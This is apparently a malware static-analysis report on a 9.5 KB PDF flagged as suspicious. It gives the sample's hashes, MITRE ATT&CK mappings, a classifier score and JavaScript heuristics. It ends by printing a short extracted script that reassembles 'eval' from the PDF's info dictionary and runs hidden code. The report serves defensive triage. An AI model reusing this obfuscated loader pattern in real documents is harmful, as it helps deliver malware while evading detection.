PDF static analysis report

Static analysis result for SHA-256 05b95f00f300ba1c…

SUSPICIOUS

PDF

9.5 KB First seen: 2013-03-02
MD5: bc2cef16f54ea2c5b457e14d35d83106 SHA-1: 769538eff16c12bf08845bf9261c5a9bcc04ad5c SHA-256: 05b95f00f300ba1c6c015535f556f5cf5e7fd4f9862232795db75cc5c8962599
46 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains embedded JavaScript, as indicated by multiple heuristic firings and the presence of a javascript_obj0011_000.js artifact. The JavaScript code appears to manipulate strings from the PDF's info dictionary and then execute them. This is a common technique for downloading and executing further stages of malware. The ML classifier also strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 2

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x22B7 108 bytes
SHA-256: e3b8ed99dee109ed231cb155f11bd5b0c7b0d0de66095b5007a392b3f6a72126
Preview script
First 1,000 lines of the extracted script
m1=this.info.cduh;m2=m1.replace(/5qqq5/g,"");m9="val";m3=this.info.vfyg.concat(m9);        this[m3](m2);